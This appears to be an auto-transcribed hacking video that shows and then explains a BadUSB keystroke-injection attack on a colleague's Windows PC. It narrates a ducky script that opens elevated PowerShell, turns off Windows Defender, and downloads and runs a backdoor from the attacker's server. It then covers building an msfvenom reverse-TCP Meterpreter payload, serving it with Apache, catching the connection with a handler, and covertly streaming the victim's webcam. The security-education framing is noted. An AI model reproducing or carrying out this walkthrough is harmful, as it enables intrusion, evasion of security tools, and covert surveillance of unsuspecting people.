hello everyone zade from zitsecurity
here
and in today's video as i promised on
our social media channels
follow us there if you haven't done so
already i will be hacking
my friend's computer using this android
phone
now i already have permission to use his
computer because i help him with a lot
of computer tasks
but i will also get his permission
before i publish this video
so i'm doing nothing illegal in here
before we get into the video please make
sure you like the video
this really helps the youtube algorithm
push my videos more
it also tells me that you're enjoying my
content which will make me make
more content so the more likes equals
more videos
now let's get to it
so right here i have a normal android
phone
that is configured to register itself as
a keyboard
when connected to a computer therefore
i can program it to send specific key
strikes
when connected these keystrikes are
going to execute specific commands
that will send a reverse connection to
my computer right
here this will allow me to fully control
the target computer
and i'll be able to do anything that the
normal user can do
on their computer so you'll be able to
list the files
upload download do whatever you want and
we'll actually have some
fun with this and we'll turn on his
webcam and see what he's up to
i will walk you through the exact steps
on how to set this up
later on in the video but for now let me
show you the attack in action
so i'm literally gonna walk into his
office i'm gonna ask him can i charge my
phone using your computer it's not
working
in my computer he'll definitely say yes
when i plug my phone into his computer
it's gonna register itself as a keyboard
it's gonna send specific commands
really really quickly and type them
through his computer as if they're being
typed on a keyboard
the commands will send me access here
and we'll see how we're going to be able
to control his computer from here
before i go i just want to apologize for
the camera angles
i'm going to be recording from my phone
and i'm going to put it in my pocket
with the lens coming out
because i don't want him to get
suspicious he'll think why am i
recording him as i'm walking into the
office
so just for this portion of the video
the camera angles are not going to be
perfect
now let's go mind if i
try this one
i haven't trained for a week now
[Music]
now as you can see at the bottom there
the connection
is sent to my computer i continued with
a bit of small talk and then left the
office
and back at the hacker computer in here
as you can see we have
a connection back from the target
computer
and we can use this to completely
control
the target computer remotely and we can
do
anything the target user can do i won't
cover
all of the things that you can do using
this meterpreter access because that'll
take a very long time
i cover it in my courses so check them
out if you want to learn more or simply
look up in google how to use meterpreter
to see what can you do with this access
but for now just quickly so you get an
idea
of what we can do first of all i'm gonna
run sysinfo
to get information about the computer
that we gained access to
and as you can see we have the computer
name the operating system that it runs
the architecture and so on we can also
do help to see
all of the commands and all of the
things that you can do with this payload
now just to show you that we can
actually do
anything that the user can do i'm gonna
try to access the webcam
of the computer that we hacked into
right now
now usually we don't do this in a real
life scenario
because it leaves a lot of tracks and
there is no point of turning on the
webcam
but in my demos i feel like it really
gets the idea across of how we can fully
control the target
computer right now and use all of its
components
so if i type webcam and double tap we'll
see all of the
things that we can do with the webcam
and i'm gonna do webcam snap
first to simply take a picture and as
you can see
we have a picture here from the target
computer
keith isn't sitting straight in front of
the camera so we can't really see him
uh i'm gonna close this and let's
actually start a live stream
so we're gonna do webcam stream
and as you can see now we have a live
stream of the camera
and we can see the office we can see
keith moving and i'm actually gonna call
him
to show him that i actually gained
access to his computer
now that we've seen the attack in action
let's get technical
and let's talk about how you can
actually run this yourself
so first of all as you've seen you need
a device to run
the keystrike attack so you can use an
android phone like i did right here
the thing with the android phone it
needs to be rooted
and it needs to have a kernel that is
patched so that it can register
itself as a keyboard if you install
nethunter you'll be doing all of this
automatically
or you can just manually install a
kernel that can do this and root the
phone
alternatively if you don't want to use
an android device
you can actually use a usb rubber ducky
or
any of the bad usbs that are out there
you can buy them off the shelf they look
like a normal storage usb
device but when you connect it to a
computer it can register itself as a
keyboard
and you can use the exact same steps and
the exact same code that i'm going to
show you right now
to run whatever attacks you want to run
you can even if you have some hardware
knowledge
you can actually create your own usb
devices so you can have a joystick a
controller a
lamp or any device that can connect
through usb
and weaponize it in a way to register
itself as a keyboard
and run a key strike attack i actually
did this
in my last conference in orlando so i'm
going to include a link to it if you
want to see that
in action and let me know if you want to
get technical with the hardware part of
it on how to create your own
bad usb devices i'll get adrian adrian's
amazing at this and i think he'll do a
great job at it
so let me know in the comments if you
want to see how to do that
but going back to the requirements for
this
attack you will need a device that can
run the keystroke attack and like i said
you can pick any device you want
and the next step is you need a computer
and that is ready to receive connections
and you'll need the back door to be
downloaded and executed on the target
computer
so it can send connections to this
computer right here
so let's get to my computer and i'll
walk you through the
steps one by one so
let's start with the script that did all
of the magic
it's a very simple script that downloads
a file
and executes it on the target system
like i said
you can use this with any device that
can register
itself as a keyboard i am using
a phone in this example but you can also
do this
using a rubber ducky or any other device
that is capable of running keystroke
attacks
let me walk you through the script
quickly so you have a better
understanding
of what it does first of all everything
you see in yellow are the key commands
and everything else are the commands
options
so the first command is gui and it
basically simulates a price to the
windows button on the keyboard
and we're typing r to simulate a price
of the windows button
and r to open the run window
we're using the delay command to wait
for 200 milliseconds
to wait for the run window to open
once that window is open we're using
this string command
to type everything that you see in white
in the
run window what you see in white there
is a command to start an elevated
powershell window
we're using the enter command to
simulate a press
to the return button then we're waiting
for 2 seconds
to wait for the powershell window to
open
because we're running an elevated
powershell window
the user will see a warning saying do
you actually want to do this
so we're using the alt command and y to
simulate a press
or a click on the yes option
we're gonna wait for 900 milliseconds
for the actual powershell window to load
and once this window loads we're using
the string command
again to type everything that you see
there in white
what you see there in white are
powershell commands
that will allow us to download and
execute a file
the file that i'm using is not great it
actually gets detected
by windows defender therefore the first
line in here
will disable windows defender real-time
protection
then i'm creating a web client object
that i'm going to use to download the
file
we're going to create a variable to hold
the file name then
we're using the web client to download
our file
from this url right here and store it
as the file name that we set then we're
going to create
a shell application object and use
it to execute the file that we
downloaded
now so far the user still sees a
powershell window
so we'll use the exit command to close
this window
this is a very quick breakdown of the
script
i hope it makes sense i went quickly
through it because
i can actually make a full course on
ducky scripts and ducky commands
and i can make an even bigger course on
powershell
so if you want to learn more check out
the free resources
in the description but the main thing in
here is that this script will basically
allow us to download a file from this
url
right here and then executed on the
target system
so the next step right now is to create
this file
that will be downloaded and executed on
the target system
and give us access to the system so we
can hack it and control it
now i cover a number of methods to
create undetectable backdoors in my
social engineering course
and i even cover how to program your own
backdoor from scratch in my python
course but right now i want a quick way
of creating a backdoor because i don't
want to make this video too long
and it's fine if it gets detected by
windows defender
because as we seen earlier our script
will first disable windows defender
before it even downloads the file so
i'm going to use msf venom to create it
so we're just going to do msfvenom
dash p to specify the payload this is
the part of the program that will do
something useful
for us so i'm going to use an
interpreter payload
to give me full control over the target
computer
we're going to set my own ip using the
lhost
argument and i can get my own ip by
doing ifconfig
and as you can see it's 192.168.112.
then i'm going to use the l port option
to specify the port
that the connection will be sent back to
and i'm going to set that to 8080
then i'm going to use the dash f
argument to specify the file type
that will be created and i want this to
be an executable
and i'm gonna store this in a file
called s dot
e x e we're gonna hit enter
so it's a very simple command we're
using msfvenom to create the file
we're choosing the payload to be windows
meterpreter reverse tcp
this is a backdoor that sends a reverse
tcp connection
to the ip that we specify in the lhost
argument
on the port that we specify in the l
port argument
and we're storing this in a file called
s.exe
and it's telling us that all of this is
done now
and if we do ls to list all of the files
in the current
working directory we'll see we have a
file called
s dot exe so that's ready to be
delivered
to the target now if we look at our code
we can see that the code is going to
download this file
from a url so you can upload this file
to any file sharing service you
want or you can use apache 2
which is a web server that comes with
kali linux
so first of all i'm going to copy this
file to the location where apache loads
its files from
so we're going to use the cp command to
do that
and the file we want to copy is called s
dot exe
as you can see and we're going to copy
that
to the location where apache loads its
files from
and that is var www.html
we see nothing on screen which means the
command got executed with no errors
and now we just need to start apache the
web server that will be serving this
file right here
so we're gonna start it by doing service
apache to start
again no errors means the command got
executed successfully
so now if we just load a web browser
and load this url you'll see that the
file will load for us let me show you
so i'm going to open up my web browser
and i'm going to go to my ip which is
192.168.112
followed by the file name which is s dot
e x
e you'll see you will be able to
download the file
so when the script runs this url right
here it will be able to download the
file
so that's perfect the file will be
downloaded the
script will also automatically execute
that file
and the file is going to send a reverse
connection
like we said to this ip address on port
8080
therefore we need to be waiting for
incoming connections
on that port to do that we're going to
use msf console
so i'm going to clear the screen and
type msf console
to load the msf framework and then we're
gonna use
exploit multi handler to listen for
incoming connections
we're gonna set the payload to the same
payload that we chose when
when we created the backdoor and it was
windows
meter printer reverse tcp
we're going to set the lhost to the same
ip that we set when we created the back
door and that was my ip
which is 192.168.112.
we're gonna set the l port to the same
port that we set when we created the
back door
and if we do show options
you'll see that we set everything
exactly the same way that we did when we
created the back door
and now that we're happy with everything
i'm gonna do exploit
to run this handler and wait for
incoming connections
so when this script gets executed when
this file is downloaded and executed on
the target
the connection will be sent to here and
i'll be able to control
the target computer run commands on it
around all of the commands that
miterpreter allows me to run so i'll be
able to list the file system
control the computer and even turn on
the webcam
as you've seen earlier and that's it for
this video
i hope you enjoy it please make sure you
like the video
if you did enjoy the video subscribe to
the channel if you want to stay updated
with the latest in cyber security
and see you soon
you